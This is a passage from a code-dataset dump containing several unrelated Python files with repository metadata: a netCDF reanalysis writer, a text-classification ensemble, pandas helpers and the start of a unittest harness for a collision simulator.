ncdf_coordinates(FILENAME,LEVELNAME,ANAME,BNAME,AINTERFACE,BINTERFACE):\n    with netCDF4.Dataset(FILENAME,'r') as fileID:\n        levels = fileID.variables[LEVELNAME][:].copy()\n        A = fileID.variables[ANAME][::-1].copy()\n        B = fileID.variables[BNAME][::-1].copy()\n        AI = fileID.variables[AINTERFACE][::-1].copy()\n        BI = fileID.variables[BINTERFACE][::-1].copy()\n    return (levels,A,B,AI,BI)\n\n#-- PURPOSE: write output geopotential fields data to file\ndef ncdf_geopotential_write(dinput, fill_value, FILENAME=None, ZNAME=None,\n    DIFFNAME=None, LEVELNAME=None, LONNAME=None, LATNAME=None, TIMENAME=None,\n    TIME_UNITS=None, TIME_LONGNAME=None, UNITS=None):\n    #-- opening NetCDF file for writing\n    fileID = netCDF4.Dataset(FILENAME, 'w', format=\"NETCDF4\")\n\n    #-- Defining the NetCDF dimensions\n    for key in [LONNAME,LATNAME,TIMENAME,LEVELNAME]:\n        fileID.createDimension(key, len(dinput[key]))\n\n    #-- defining the NetCDF variables\n    nc = {}\n    nc[LATNAME]=fileID.createVariable(LATNAME,dinput[LATNAME].dtype,(LATNAME,))\n    nc[LONNAME]=fileID.createVariable(LONNAME,dinput[LONNAME].dtype,(LONNAME,))\n    nc[TIMENAME]=fileID.createVariable(TIMENAME,dinput[TIMENAME].dtype,(TIMENAME,))\n    nc[LEVELNAME]=fileID.createVariable(LEVELNAME,dinput[LEVELNAME].dtype,(LEVELNAME,))\n    nc[DIFFNAME] = fileID.createVariable(DIFFNAME, dinput[DIFFNAME].dtype,\n        (TIMENAME,LEVELNAME,LATNAME,LONNAME,), fill_value=fill_value, zlib=True)\n    nc[ZNAME] = fileID.createVariable(ZNAME, dinput[ZNAME].dtype,\n        (TIMENAME,LEVELNAME,LATNAME,LONNAME,), fill_value=fill_value, zlib=True)\n    #-- filling NetCDF variables\n    for key,val in dinput.items():\n        nc[key][:] = dinput[key].copy()\n        dinput[key] = None\n\n    #-- Defining attributes for longitude and latitude\n    nc[LONNAME].long_name = 'Longitude'\n    nc[LONNAME].units = 'degrees_east'\n    nc[LATNAME].long_name = 'Latitude'\n    nc[LATNAME].units = 'degrees_north'\n    #-- Defining attributes for time\n    nc[TIMENAME].units = TIME_UNITS\n    nc[TIMENAME].long_name = TIME_LONGNAME\n    #-- Definining attributes for model levels\n    nc[LEVELNAME].long_name = 'Model_Level_Number'\n    #-- Defining attributes for geopotential height\n    nc[ZNAME].long_name = 'Geopotential_Heights_on_Model_Levels'\n    nc[ZNAME].units = UNITS\n    #-- Defining attributes for pressure differences\n    nc[DIFFNAME].long_name = 'Pressure_Differences_between_Levels'\n    nc[DIFFNAME].units = 'Pa'\n\n    #-- Output NetCDF structure information\n    logging.info(os.path.basename(FILENAME))\n    logging.info(list(fileID.variables.keys()))\n\n    #-- Closing the NetCDF file\n    fileID.close()\n    #-- clear nc dictionary variable\n    nc = None\n\n#-- Main program that calls reanalysis_geopotential_heights()\ndef main():\n    #-- Read the system arguments listed after the program\n    parser = argparse.ArgumentParser(\n        description=\"\"\"Reads temperature and specific humidity data\n            to calculate geopotential height and pressure difference\n            fields at half levels from reanalysis\n            \"\"\",\n        fromfile_prefix_chars=\"@\"\n    )\n    parser.convert_arg_line_to_args = utilities.convert_arg_line_to_args\n    #-- command line parameters\n    choices = ['ERA-Interim','ERA5','MERRA-2']\n    parser.add_argument('model',\n        metavar='MODEL', type=str, nargs='+',\n        default=['ERA5','MERRA-2'], choices=choices,\n        help='Reanalysis Model')\n    #-- working data directory\n    parser.add_argument('--directory','-D',\n        type=lambda p: os.path.abspath(os.path.expanduser(p)),\n        default=os.getcwd(),\n        help='Working data directory')\n    #-- years to run\n    now = time.gmtime()\n    parser.add_argument('--year','-Y',\n        type=int, nargs='+', default=range(2000,now.tm_year+1),\n        help='Years of model outputs to run')\n    #-- print information about each input and output file\n    parser.add_argument('--verbose','-V',\n        default=False, action='store_true',\n        help='Verbose output of run')\n    #-- permissions mode of the local directories and files (number in octal)\n    parser.add_argument('--mode','-M',\n        type=lambda x: int(x,base=8), default=0o775,\n        help='Permission mode of directories and files')\n    args,_ = parser.parse_known_args()\n\n    #-- for each reanalysis model\n    for MODEL in args.model:\n        #-- run program\n        reanalysis_geopotential_heights(args.directory, MODEL, YEAR=args.year,\n            VERBOSE=args.verbose, MODE=args.mode)\n\n#-- run main program\nif __name__ == '__main__':\n    main()\n", "meta": {"hexsha": "ec0705f0e521ee901b5afb8d070c62d4826e98a5", "size": 17577, "ext": "py", "lang": "Python", "max_stars_repo_path": "reanalysis/reanalysis_geopotential_heights.py", "max_stars_repo_name": "tsutterley/model-harmonics", "max_stars_repo_head_hexsha": "17f6842d5fa1f2abf42caea51cfb09b6a4b2ee30", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2021-01-04T00:40:03.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-29T13:37:32.000Z", "max_issues_repo_path": "reanalysis/reanalysis_geopotential_heights.py", "max_issues_repo_name": "tsutterley/model-harmonics", "max_issues_repo_head_hexsha": "17f6842d5fa1f2abf42caea51cfb09b6a4b2ee30", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-10-10T06:57:20.000Z", "max_issues_repo_issues_event_max_datetime": "2021-12-06T19:28:34.000Z", "max_forks_repo_path": "reanalysis/reanalysis_geopotential_heights.py", "max_forks_repo_name": "tsutterley/model-harmonics", "max_forks_repo_head_hexsha": "17f6842d5fa1f2abf42caea51cfb09b6a4b2ee30", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2021-05-18T21:00:59.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-06T18:22:58.000Z", "avg_line_length": 43.5074257426, "max_line_length": 87, "alphanum_fraction": 0.6490299824, "include": true, "reason": "import numpy", "num_tokens": 4584, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.5, "lm_q2_score": 0.1066905825840872, "lm_q1q2_score": 0.0533452912920436}}
{"text": "\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\nimport os\nimport matplotlib.pyplot as plt\n\nimport re\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import mode\n\nfrom nltk import skipgrams\n\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\nimport itertools\n\nimport lightgbm as lgb\nfrom lightgbm import LGBMClassifier\nfrom sklearn.model_selection import cross_val_score, RandomizedSearchCV\nfrom sklearn.metrics import accuracy_score\n\nfrom sklearn import model_selection, preprocessing, linear_model, naive_bayes, metrics, svm\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nfrom sklearn.model_selection import train_test_split, StratifiedKFold\nfrom sklearn import decomposition, ensemble\n\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom xgboost import XGBClassifier\nfrom rgf.sklearn import FastRGFClassifier\nfrom sklearn.model_selection import GridSearchCV\n\nfrom nltk.corpus import stopwords\nstop_words = set(stopwords.words('english'))\n\nSEED = 42\n\n\njoin = os.path.join\n\n\n# In[68]:\n\n\ndata = pd.read_csv('Devex_train.csv', encoding=\"latin-1\")\n\n\n\n# In[72]:\n\n\ndf_train = pd.read_csv('Devex_train.csv', low_memory=False, encoding='latin1')\ndf_submission = pd.read_csv('Devex_submission_format.csv', low_memory=False, encoding='latin1')\n\n\ndf_train.fillna(0, inplace=True)\ndf_train_clean = df_train.drop(columns=df_train.columns[3:15])\n\n\n\n# In[76]:\n\n\nlabels = df_submission.columns[1:]\ndf_train_clean = pd.concat([pd.DataFrame(columns=labels),df_train_clean])\ndf_train_clean.fillna(0, inplace=True)\n\n\n# In[77]:\n\n\nunique_id_col = df_train_clean.pop('Unique ID')\ntype_col = df_train_clean.pop('Type')\ntext_col = df_train_clean.pop('Text')\n\ndf_train_clean.insert(0, 'Unique ID', unique_id_col)\ndf_train_clean.insert(1, 'Type', type_col)\ndf_train_clean.insert(2, 'Text', text_col)\n\n\n# In[78]:\n\n\ncleanr = re.compile('<.*?>')\nREPLACE_BY_SPACE_RE = re.compile('[/(){}\\[\\]\\|@,;.-]')\nBAD_SYMBOLS_RE = re.compile('[^0-9a-zA-Z #+_]')\nSTOPWORDS = set(stopwords.words('english'))\n\nfrom nltk.stem import WordNetLemmatizer, PorterStemmer\nword_lemma = WordNetLemmatizer()\nstem = PorterStemmer()\ndef remove_html(raw_html):\n    cleantext = re.sub(cleanr, '', raw_html)\n    cleantext = cleantext.lower()\n    cleantext = re.sub('&nbsp;', ' ', cleantext)\n    cleantext = re.sub('&bull;', ' ', cleantext)\n    \n    cleantext = re.sub(REPLACE_BY_SPACE_RE, \" \", cleantext)\n    cleantext = re.sub(BAD_SYMBOLS_RE, \"\", cleantext)\n    \n    cleantext = \" \".join([word_lemma.lemmatize(w) for w in cleantext.split(\" \") if w not in STOPWORDS])\n    #cleantext = \" \".join([w for w in cleantext.split(\" \") if w not in STOPWORDS])\n    \n    cleantext = cleantext + ' '.join([' '.join(x) for x in (list(skipgrams(itertools.islice(cleantext.split(), 50), 3, 1)))])\n    \n    \n    return cleantext\n\n\n# In[79]:\n\n\ndf_train_clean = df_train_clean.replace({r'\\x0D': ' '}, regex=True) #removing carriage returns\ndf_train_clean['Text'] = df_train_clean['Type'] + \" \" + df_train_clean['Text']\ndf_train_clean['Text'] = df_train_clean['Text'].apply(remove_html)\n\n\n\nfor i in range(len(df_train)):\n    for j in range(3,15):\n        if df_train.iloc[i,j]!=0:\n            label = df_train.iloc[i,j][0:5] #first 5 characters of the string is a label  (e.g. 3.8.1)\n            df_train_clean.at[i,label] = 1\n\n\n\n\n\ndf_test = pd.read_csv('Devex_test_questions.csv', low_memory=False, encoding='latin1')\n\n\n# In[83]:\n\ntrain_x, test_x = model_selection.train_test_split(df_train_clean[['Text', '3.1.1', '3.1.2', '3.2.1', '3.2.2', '3.3.1', '3.3.2', '3.3.3', '3.3.4', '3.3.5', '3.4.1', '3.4.2', '3.5.1',\n       '3.5.2', '3.6.1', '3.7.1', '3.7.2', '3.8.1', '3.8.2', '3.9.1', '3.9.2',\n       '3.9.3', '3.a.1', '3.b.1', '3.b.2', '3.b.3', '3.c.1', '3.d.1']], test_size=0.3, shuffle=True, random_state=42)\n\n\n# In[88]:\n\n\nlabels = ['3.1.1', '3.1.2', '3.2.1', '3.2.2', '3.3.1', '3.3.2', '3.3.3', '3.3.4', '3.3.5', '3.4.1', '3.4.2', '3.5.1',\n       '3.5.2', '3.6.1', '3.7.1', '3.7.2', '3.8.1', '3.8.2', '3.9.1', '3.9.2',\n       '3.9.3', '3.a.1', '3.b.1', '3.b.2', '3.b.3', '3.c.1', '3.d.1']\n\n\n# In[91]:\n\ndf_test = pd.read_csv('Devex_test_questions.csv', encoding='latin-1')\ndf_test['Text'] =  df_test['Type'] + \" \" + df_test['Text']\ndf_test['Text'] =  df_test['Text'].apply(remove_html)\n\n\n# In[ ]:\n\nnb_pipeline = Pipeline([\n                ('tfidf', CountVectorizer(stop_words=stop_words, ngram_range=(1, 1), max_features=20000, max_df=0.98)),\n                ('clf', OneVsRestClassifier(MultinomialNB(alpha=1.6,\n                    fit_prior=True, class_prior=None))),\n            ])\n\ndt_pipeline = Pipeline([\n                ('tfidf', CountVectorizer(stop_words=stop_words, min_df=4, ngram_range=(1, 1), max_features=22000, max_df=0.98)),\n                ('clf', OneVsRestClassifier(DecisionTreeClassifier(max_depth=10, random_state=SEED))),\n            ])\n\n\nknn_pipeline = Pipeline([\n                ('tfidf', CountVectorizer(stop_words=stop_words, min_df=4, ngram_range=(1, 1), max_features=22000, max_df=0.98)),\n                ('clf', OneVsRestClassifier(KNeighborsClassifier(n_neighbors=20))),\n            ])\n\nlg_pipeline = Pipeline([\n                ('tfidf', CountVectorizer(stop_words=stop_words, min_df=4, ngram_range=(1, 1), max_features=22000, max_df=0.98)),\n                ('clf', OneVsRestClassifier(LogisticRegression(C=0.8))),\n            ])\n\nlgb_model = LGBMClassifier(metric=\"accuracy\", n_estimators=100,  num_leaves=31, boosting_type=\"dart\", \n                       learning_rate=0.15, max_depth=15)\nlgb_pipeline_cnt = Pipeline([\n                ('cntvec', CountVectorizer(stop_words=stop_words, min_df=4, max_features=22000, max_df=.99, dtype=np.float32)),\n                ('clf', OneVsRestClassifier(lgb_model)),\n            ])\n\nlgb_pipeline_tfidf = Pipeline([\n                ('cntvec', TfidfVectorizer(stop_words=stop_words, min_df=4, max_features=22000, max_df=.99, dtype=np.float32)),\n                ('clf', OneVsRestClassifier(lgb_model)),\n            ])\n\nrnd_pipeline = Pipeline([\n                ('tfidf', CountVectorizer(stop_words=stop_words,min_df=4, ngram_range=(1, 1), max_features=22000, max_df=0.98)),\n                ('clf', OneVsRestClassifier(RandomForestClassifier(n_estimators=200, max_depth=15, n_jobs=8))),\n            ])\n\n\nxgb_pipeline_cnt = Pipeline([\n                ('tfidf', TfidfVectorizer(stop_words=stop_words, min_df=4, max_features=22000, max_df=.98)),\n                ('clf', OneVsRestClassifier(XGBClassifier(n_jobs=8,\n                                                          n_estimators=200, \n                                                          learning_rate=0.2,\n                                                          max_depth=15,\n                                                          scale_pos_weight=1.5,\n                                                          gamma=1\n                                                         ))),\n            ])\n\nxgb_pipeline_tfidf = Pipeline([\n                ('tfidf', TfidfVectorizer(stop_words=stop_words, min_df=4, max_features=22000, max_df=.98)),\n                ('clf', OneVsRestClassifier(XGBClassifier(n_jobs=8,\n                                                          n_estimators=200, \n                                                          learning_rate=0.2,\n                                                          max_depth=15,\n                                                          scale_pos_weight=1.5,\n                                                          gamma=1\n                                                         ))),\n            ])\n\nrgf_pipeline_cnt = Pipeline([\n                ('tfidf', TfidfVectorizer(stop_words=stop_words, min_df=4, max_features=30000, max_df=.99)),\n                ('clf', OneVsRestClassifier(FastRGFClassifier(n_estimators=500, max_depth=6, min_samples_leaf=10))),\n            ])\n\nrgf_pipeline_tfidf = Pipeline([\n                ('tfidf', TfidfVectorizer(stop_words=stop_words, min_df=4, max_features=30000, max_df=.99)),\n                ('clf', OneVsRestClassifier(FastRGFClassifier(n_estimators=500, max_depth=6, min_samples_leaf=10))),\n            ])\n\n\n# In[92]:\n\n\ndef model_fit_predict(model, X_train, y_train, X_test, sub_data):\n    model.fit(X_train, y_train)\n    pred = model.predict(X_test)\n    pred_prob = model.predict_proba(X_test)\n    pred_sub = model.predict(sub_data)\n    prob_sub = model.predict_proba(sub_data)\n    \n    return pred, pred_prob, pred_sub, prob_sub\n\n\n# In[97]:\n\nprint(\"Training Starts!!\")\n#nb_preds, nb_probs, nb_pred_sub, nb_prob_sub = model_fit_predict(nb_pipeline, df_train_clean['Text'], df_train_clean[labels], X_test, df_test['Text'])\nX_test = test_x['Text']\nlr_preds, lr_probs, lr_pred_sub, lr_prob_sub = model_fit_predict(lg_pipeline, df_train_clean['Text'], df_train_clean[labels], X_test, df_test['Text'])\n\ndt_preds, dt_probs, dt_pred_sub, dt_prob_sub = model_fit_predict(dt_pipeline, df_train_clean['Text'], df_train_clean[labels], X_test, df_test['Text'])\nknn_preds, knn_probs, knn_pred_sub, knn_prob_sub = model_fit_predict(knn_pipeline, df_train_clean['Text'], df_train_clean[labels], X_test, df_test['Text'])\nrf_preds, rf_probs, rf_pred_sub, rf_prob_sub = model_fit_predict(rnd_pipeline, df_train_clean['Text'], df_train_clean[labels], X_test, df_test['Text'])\n\nlgb_preds_cnt, lgb_probs_cnt, lgb_pred_sub_cnt, lgb_prob_sub_cnt = model_fit_predict(lgb_pipeline_cnt, df_train_clean['Text'], df_train_clean[labels], X_test, df_test['Text'])\nlgb_preds_tf, lgb_probs_tf, lgb_pred_sub_tf, lgb_prob_sub_tf = model_fit_predict(lgb_pipeline_tfidf, df_train_clean['Text'], df_train_clean[labels], X_test, df_test['Text'])\n\nxgb_preds_cnt, xgb_probs_cnt, xgb_pred_sub_cnt, xgb_prob_sub_cnt = model_fit_predict(xgb_pipeline_cnt, df_train_clean['Text'], df_train_clean[labels], X_test, df_test['Text'])\nxgb_preds_tf, xgb_probs_tf, xgb_pred_sub_tf, xgb_prob_sub_tf = model_fit_predict(xgb_pipeline_tfidf, df_train_clean['Text'], df_train_clean[labels], X_test, df_test['Text'])\n\nrgf_preds_cnt, rgf_probs_cnt, rgf_pred_sub_cnt, rgf_prob_sub_cnt = model_fit_predict(rgf_pipeline_cnt, df_train_clean['Text'], df_train_clean[labels], X_test, df_test['Text'])\nrgf_preds_tf, rgf_probs_tf, rgf_pred_sub_tf, rgf_prob_sub_tf = model_fit_predict(rgf_pipeline_tfidf, df_train_clean['Text'], df_train_clean[labels], X_test, df_test['Text'])\n\n\n# In[98]:\n\n\"\"\"print('Accuracy LR {}'.format(accuracy_score(test_x[labels].values, lr_preds)))\nprint('Accuracy DT {}'.format(accuracy_score(test_x[labels].values, dt_preds)))\nprint('Accuracy KNN {}'.format(accuracy_score(test_x[labels].values, knn_preds)))\nprint('Accuracy RF {}'.format(accuracy_score(test_x[labels].values, rf_preds)))\nprint('Accuracy XGB {}'.format(accuracy_score(test_x[labels].values, xgb_preds_cnt)))\nprint('Accuracy XGB {}'.format(accuracy_score(test_x[labels].values, xgb_preds_tf)))\nprint('Accuracy LGB {}'.format(accuracy_score(test_x[labels].values, lgb_preds_cnt)))\nprint('Accuracy LGB {}'.format(accuracy_score(test_x[labels].values, lgb_preds_tf)))\nprint('Accuracy RGF {}'.format(accuracy_score(test_x[labels].values, rgf_preds_cnt)))\nprint('Accuracy RGF {}'.format(accuracy_score(test_x[labels].values, rgf_preds_tf)))\"\"\"\n\nprint(\"Training Done!!\")\n# In[134]:\n\n\ntemp_pred = (lr_prob_sub*0.2+xgb_prob_sub_cnt*0.6\n                +rgf_pred_sub_cnt*0.1+lgb_pred_sub_tf*0.1)\n\n\n#temp_pred = (lr_prob_sub*0.2+xgb_prob_sub_cnt*0.5+lgb_prob_sub_tf*.2+dt_prob_sub*0.05+rf_prob_sub*0.025+knn_prob_sub*0.025)\ntemp_pred = np.where(temp_pred >=0.49, 1, 0 )\n\nsave_comb = \"\"\"temp_pred = (lr_prob_sub*0.2+dt_prob_sub*0.05+knn_prob_sub*0.025+rf_prob_sub*0.025+xgb_prob_sub*0.5+lgb_prob_sub*.2)\ntemp_pred = np.where(temp_pred >=0.49, 1, 0 )    This gives 0.3866 accuracy LB\"\"\"\n\n\ndf_submission['ID'] = df_test['Unique ID']; df_submission.iloc[:, 1:] = temp_pred\ndf_submission.to_csv('sub_voting.csv', index=False)\n\nprint(\"Prediction are generate in sub_voting.csv !!\")", "meta": {"hexsha": "29a8e17280fd41c822d99a92c0775024e2ea0412", "size": 12268, "ext": "py", "lang": "Python", "max_stars_repo_path": "Competition-Solutions/Text/Sustainable Development Goals (SDGs) Text Classification Challenge/Solution 2/ensemble.py", "max_stars_repo_name": "ZindiAfrica/Natural-Language-Processing-NLP-", "max_stars_repo_head_hexsha": "41763b83677f1a4853af397a34d8a82fa9ac45fc", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Competition-Solutions/Text/Sustainable Development Goals (SDGs) Text Classification Challenge/Solution 2/ensemble.py", "max_issues_repo_name": "ZindiAfrica/Natural-Language-Processing-NLP-", "max_issues_repo_head_hexsha": "41763b83677f1a4853af397a34d8a82fa9ac45fc", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Competition-Solutions/Text/Sustainable Development Goals (SDGs) Text Classification Challenge/Solution 2/ensemble.py", "max_forks_repo_name": "ZindiAfrica/Natural-Language-Processing-NLP-", "max_forks_repo_head_hexsha": "41763b83677f1a4853af397a34d8a82fa9ac45fc", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.2229508197, "max_line_length": 182, "alphanum_fraction": 0.6626997066, "include": true, "reason": "import numpy,from scipy", "num_tokens": 3381, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.1066905825840872, "lm_q1q2_score": 0.0533452912920436}}
{"text": "import pandas as pd\nimport numpy as np\nfrom pandas import DataFrame\n\n\ndef log_column(data: DataFrame, column: str) -> DataFrame:\n    \"\"\"\n\n    :param data: DataFrame with values to log\n    :param column: Column to log\n    :return: DataFrame with log column\n    \"\"\"\n    data = np.log1p(data[column])\n    return data\n\n\ndef drop_column(data: DataFrame, column: str, axis: int) -> DataFrame:\n    \"\"\"\n\n    :param data: DataFrame with values to drop column\n    :param column: Column to drop\n    :param axis: Axis to drop. Column = -1 Row = 0\n    :return: DataFrame without chosen column.\n    \"\"\"\n    data = data.drop(column, axis=axis)\n    return data\n", "meta": {"hexsha": "e2cec2cce76118f44625ae20e0ffc26aa4caf9c7", "size": 645, "ext": "py", "lang": "Python", "max_stars_repo_path": "preproccesing/feature_engineering.py", "max_stars_repo_name": "alexandergawlik/bootcampDS", "max_stars_repo_head_hexsha": "1c98ab15957752d86106c1d38e5625213f9b9aee", "max_stars_repo_licenses": ["RSA-MD"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "preproccesing/feature_engineering.py", "max_issues_repo_name": "alexandergawlik/bootcampDS", "max_issues_repo_head_hexsha": "1c98ab15957752d86106c1d38e5625213f9b9aee", "max_issues_repo_licenses": ["RSA-MD"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "preproccesing/feature_engineering.py", "max_forks_repo_name": "alexandergawlik/bootcampDS", "max_forks_repo_head_hexsha": "1c98ab15957752d86106c1d38e5625213f9b9aee", "max_forks_repo_licenses": ["RSA-MD"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.8888888889, "max_line_length": 70, "alphanum_fraction": 0.6651162791, "include": true, "reason": "import numpy", "num_tokens": 161, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.11279540777409121, "lm_q1q2_score": 0.053316525493476825}}
{"text": "\"\"\"\nThis .py file contains two functions for common data cleaning tasks. These functions can be used with\ndata loaded into a pandas DataFrame.\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.utils import shuffle\n\n\n# Confirms whether or not a DataFrame contains missing values\ndef null_count(df):\n    \"\"\"\n    This function will return the number of null values contained\n    within a DataFrame\n    \"\"\"\n    return df.isnull().sum().sum()\n\n# Randomizer\ndef randomize(df, seed):\n    \"\"\"\n    Eponymous Comment. Function will return a reproducible\n    randomized varibale via a seed. Shuffle from sklearn and it's\n    random_state parameter do the heavy lifting\n    \"\"\"\n    randomized = shuffle(\n                         df,\n                         random_state=seed\n                         )\n    return randomized\n", "meta": {"hexsha": "fa261adee90381aee89d113a5f9eccdaac131224", "size": 820, "ext": "py", "lang": "Python", "max_stars_repo_path": "lambdata/helper_functions.py", "max_stars_repo_name": "JAaron93/lambdata-jaaron93", "max_stars_repo_head_hexsha": "c5a0815c32fe9f9b122cdb888ace8578de92c39f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "lambdata/helper_functions.py", "max_issues_repo_name": "JAaron93/lambdata-jaaron93", "max_issues_repo_head_hexsha": "c5a0815c32fe9f9b122cdb888ace8578de92c39f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "lambdata/helper_functions.py", "max_forks_repo_name": "JAaron93/lambdata-jaaron93", "max_forks_repo_head_hexsha": "c5a0815c32fe9f9b122cdb888ace8578de92c39f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.4516129032, "max_line_length": 101, "alphanum_fraction": 0.6597560976, "include": true, "reason": "import numpy", "num_tokens": 166, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.11757213818344736, "lm_q1q2_score": 0.05329096462814969}}
{"text": "# Copyright 2017 J Carruthers jbc@bu.edu\n# Solution to HW 5: collision_tester\n\nimport unittest\nimport subprocess\nimport random\nimport math\nimport numpy\n\nAUTHORS = ['jbc@bu.edu']\n\nPROGRAM_TO_TEST = \"collisionc_0\"\n\n# r = random.randint\n# random_twenty=[ (1000+x,r(-2000,2000),r(-2000,2000),\n#                  r(-10,10),r(-10,10)) for x in range(20)]\n# print(random_twenty)\n\nBAD_ARGS_RC = 2\nBAD_INPUT_RC = 1\n\nrandom_twenty = [(1000, -1663, -1068, 4, 3), (1001, 1771, 1241, 4,\n                                              -9), (1002, 531, -1842, 5, -7),\n                 (1003, -1999, 576, 9, 7), (1004, 282, -338, 0,\n                                            -5), (1005, 1432, 1146, -3, -10),\n                 (1006, 1818, 1972, 9,\n                  10), (1007, -1819, 365, -6,\n                        6), (1008, 1896, 1553, 4,\n                             -8), (1009, 1561, 952, 5,\n                                   4), (1010, -1937, -1948, -2,\n                                        -6), (1011, 110, 1424, 1,\n                                              7), (1012, 1754, 1794, -2, -7),\n                 (1013, 1042, -193, 5,\n                  -4), (1014, 563, 1074, 8,\n                        -9), (1015, 243, 62, 5,\n                              10), (1016, 1749, 923, -10,\n                                    -5), (1017, -1365, -346, -5,\n                                          7), (1018, 495, -769, -10,\n                                               -1), (1019, -548, -841, 5, -2)]\n\nbasic_input = \"\"\"a 10 20 -1.5 2\nb 90 90 -3 -3\nc 100 100 1 1\n\"\"\"\n\nbasic_output = \"\"\"1\na 8.5 22 -1.5 2\nb 87 87 -3 -3\nc 101 101 1 1\n2\na 7 24 -1.5 2\nb 84 84 -3 -3\nc 102 102 1 1\n3\na 5.5 26 -1.5 2\nb 81 81 -3 -3\nc 103 103 1 1\n\"\"\"\n\nbad_args = [('-4', \"-5\"), (\"one\", \"two\"), (\"one\", \"4\", \"5\"), (\"4\", \"5\",\n                                                              \"alpha\")]\n\nbad_inputs = [\n    \"\"\"a\nb 0 0 1 1\nc 20 20 1 1\n\"\"\", \"\"\"a 0 0 0 0\nb 10 10 10 10 10\n\"\"\", \"\"\"a b c 0 0\nd 10 10 10 10\ne 30 30 30 30\n\"\"\", \"\"\"a 10 10 1 1\n\n\n\"\"\"\n]\n\ncollision_input_one = \"\"\"one -10 -10 2 2\ntwo 10 10 -1 -1\n\"\"\"\n\ncollision_output_one = \"\"\"12\none -9.0710678 -9.0710678 -1 -1\ntwo 21.071068 21.071068 2 2\n\"\"\"\nlarge_time_input = \"a 0 0 0 0\\n\"\n\nlarge_time_list = ['1000', '100000']\nlarge_time_output = \"\"\"1000\na 0 0 0 0\n100000\na 0 0 0 0\n\"\"\"\nrunners = [(\"for\", 100, -100, 100, 100), ('back', 0, 0, -100, 100)]\n\nbig_locations_input = \"\"\"one 1000000 1000000 -100 -100\ntwo -1000000 1000000 100 -100\nthree 1000000 -1000000 -100 100\nfour -1000000 -1000000 100 100\n\"\"\"\nbig_locations_output = \"\"\"9999\none 100 100 -100 -100\ntwo -100 100 100 -100\nthree 100 -100 -100 100\nfour -100 -100 100 100\n\"\"\"\n\ndup_names = \"\"\"one 0 0 1 1\none 10 10 10 10\ntwo 20 20 20 20\n\"\"\"\n\ndup_names_out = \"\"\"1\none 1 1 1 1\none 20 20 10 10\ntwo 40 40 20 20\n2\none 2 2 1 1\none 30 30 10 10\ntwo 60 60 20 20\n\"\"\"\n\n\ndef runprogram(program, args, inputstr):\n    coll_run = subprocess.run(\n        [program, *args],\n        input=inputstr.encode(),\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        timeout=1)\n    \"run a program and get result: wrapper for subprocess.run\"\n\n    ret_code = coll_run.returncode\n    program_output = coll_run.stdout.decode()\n    program_errors = coll_run.stderr.decode()\n    return (ret_code, program_output, program_errors)\n\n\nclass CollisionTestCase(unittest.TestCase):\n    def check_collision_output(self, bad, good):\n        \"process and numerically compare two outputs (helper function)\"\n        badlines = bad.splitlines()\n        goodlines = good.splitlines()\n        self.assertEqual(len(badlines), len(goodlines))\n        for badline, goodline in zip(badlines, goodlines):\n            goodvals = goodline.split()\n            badvals = badline.split()\n            if len(goodvals) != len(badvals):\n                self.fail('improper line format')\n            elif len(goodvals) == 1:  # time line\n                self.assertTrue(\n                    math.isclose(float(goodvals[0]), float(badvals[0])))\n            else:\n                self.assertEqual(goodvals[0], badvals[0])\n                self.assertTrue(\n                    numpy.allclose([float(x) for x in goodvals[1:]],\n                                   [float(x) for x in badvals[1:]]))\n\n    def test_collision_one(self):\n        \"test a simple collision event\"\n        (rc, out, errs) = runprogram(PROGRAM_TO_TEST, [\"12\"],\n                                     collision_input_one)\n        self.assertEqual(rc, 0)\n        